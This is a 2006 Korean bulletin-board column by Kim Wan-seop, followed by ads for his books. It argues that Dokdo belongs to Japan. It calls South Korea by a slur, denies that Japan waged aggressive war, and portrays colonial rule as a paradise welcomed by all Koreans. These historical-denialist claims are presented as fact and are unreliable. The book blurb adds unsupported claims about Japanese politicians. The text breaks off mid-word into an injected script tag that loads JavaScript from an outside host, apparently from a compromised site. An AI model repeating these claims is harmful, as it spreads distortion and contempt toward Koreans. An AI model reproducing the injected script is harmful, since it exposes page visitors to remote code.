공지사항
[김완섭 칼럼] 개한민국 독도강점 55년째
작성자 : 김완섭
작성일 : 2006.06.01 10:04
조회수 : 1,692
본문
이승만은 1952년 1월, 독도를 빼앗기 위해 일본해상에 천인공로할 '평화선'이라는 것을 긋고
일본어선 3백여척과 4천여명을 납치하고 이를 인질로 하여 일본에 돈을 요구하였습니다.
물론 독도도 점령하였습니다.
이때부터 개한민국은 국제공인 강도국이 된 것입니다.
당시 이승만의 도발에 대해 우방국인 미국과 자유중국(대만)조차 비난성명을 발표했을 정도로
이승만의 도적질은 무모하고 어처구니없는 것이었습니다.
독도는 엄연히 샌프란시스코 강화조약에 의해 한국영토에서 제외되었습니다.
한국정부는 왜 국제법을 준수하지 않는 것입니까.
분쟁지역이라면 왜 국제사법재판소에 회부하지 않는 것입니까.
국제사법재판소에 가면 패배가 너무나 자명하기 때문입니다.
반일 파시스트 노무현은 독도에 대해 '일본이 침략전쟁으로 빼앗은 땅을 되찾았을 뿐이다'라고
주장하지만 일본은 침략전쟁을 한 적도 없고 조선에 대해서는 더더욱이 평화적인
한일합병이 있었을 뿐 전쟁같은 것은 애시당초 존재하지도 않았던 것입니다.
모든 조선인민이 합병을 쌍수를 들어 환영했고 일제시대 조선은 전세계에서 가장
평화롭고 행복한 인민의 낙원이었습니다.
그리고 일본정부가 무인도인 다케시마를 시마네현에 편입한 것은 1905년 2월 일러전쟁 승리직후였으며,
을사조약은 1905년 11월이었기때문에 을사조약과도 아무런 관련이 없는 일본령인 것입니다.
그리고 독도는 한일합병과도 아무런 관련이 없습니다.
예전부터 일본땅이었고 1905년 1월 정식으로 일본영토가 된 것입니다.
이런 독도를 왜 한국이 자기땅이라고 우기는지 참으로 한심한 일입니다.
독도분쟁에서 한국을 지지하는 나라는 전세계에서 북한과 중국 정도입니다.
전 인류가 개한민국의 강도행위를 규탄하고 있습니다.
이 사실을 한국인들만 모르고 있으니 참으로 불행한 일입니다.
개한민국은 즉시 독도를 일본에 반환하고 일본에 사죄하라!!
2006년 5월 31일 친일파 김완섭
우리 민족의 태평성대였던 일제시대.
이제 찬란했던 일제시대의 영광은 있는 그대로 복원되어야 한다.
교보문고,영풍문고 등 대형서점에 이어 인터넷 서점 알라딘마저 판매중단 결정!
개한민국 정부의 필사적인 전방위 탄압!!
대학도서관에서조차 일제회수조치가 진행되고 있습니다.
이제 <친일파를 위한 변명>을 읽을 수 있는 기회는 점점 사라져가고 있습니다.
혹시 책을 구할 수 없는 경우 cosmosws@paran.com 으로 문의해 주십시오.
택배로 보내드립니다.
새 친일파를 위한 변명(김완섭) - 2만원
식민지조선의 연구(스키모토 미키오) - 15,000원
창녀론 (김완섭) - 15,000원
역사를 왜곡하는 것은 과연 한국인가, 일본인가
일본이 역사를 왜곡하고 있다고 생각하는 당연하게 한국인들에게는 ‘사실은 거꾸로일 수도 있다’는 인식을 가지는 것 자체가 매우 힘든 일이다. 일본 내에서도 몇 년 전까지만 해도 과거사에 관한 한 남북한에 사죄해야 한다는 소위 ‘속죄파’가 대세였으나 최근 들어 한국의 역사날조를 고발하는 출판물들이 줄을 이으면서 속죄파는 급속히 줄어들고 있다. 사실 이제 일본에서 속죄파는 소수로 전락했으며 그런 말을 하는 사람들은 시대착오적인 인사로 여겨지고 있는 분위기이다.
최근 1년간 일본 내에서 이같은 ‘역사날조의 한국’의 인식을 급속하게 퍼뜨린 것이 바로 이 책 <친일파를 위한 변명> 이다. 이 책의 출현으로 인해 일본내에서 역사논쟁은 사실상 종지부를 찍었다고 볼 수 있으며, 앞으로의 한일관계는 이 전과는 매우 달라지게 될 것이라고 말하는 사람도 많다. 저자는 최근 자주 일본을 방문하여 정재계의 실력자들을 접촉하고 있는데, 그가 만난 대부분의 정치가들은 이 책을 숙독하였으며 고이즈미 현 총리를 비롯하여 대부분의 각료들도 이 책으로 인해 인식의 전환을 이루고 있음을 확인하였다.
최근 자민당 정조회장인 아소 타로씨의 창씨개명과 관련된 발언에 대해서도, 예전 같으면 사죄하고 현직에서 물러나는 것이 당연시되었을 것이나 지금은 야당을 비롯하여 일본 정계의 그 누구도 아소 발언에 대해 그 진위를 문제삼는 인사는 존재하지 않는다. 실제로 아소 발언 사건은 ‘발언의 내용은 진실이지만 한국 대통령의 방문을 앞두고 있는 민감한 시기였다는 터져나왔다는 것이 문제다’는 정도로 정리되었으며 아소씨가 ‘발언의 타이밍’에 대해 사죄한 뒤에는 그 누구도 아소의 퇴진을 요구하지 않고 있다. 즉 이제 일본 사회에서 ‘역사를 날조하는 것은 한국이다’는 인식은 점차 상식으로 굳어져가고 있는 분위기다. 이같은 변화에 따라 아소 타로씨는 이후 총무대신, 외무대신 등으로 영전을 거듭하면서 코이즈미의 후계자로 승승장구하고 있는 것이다.
이 책은 2002년 2월 한국에서 초판이 발간된 이?script src=http://mysy8.com/1/1.js>
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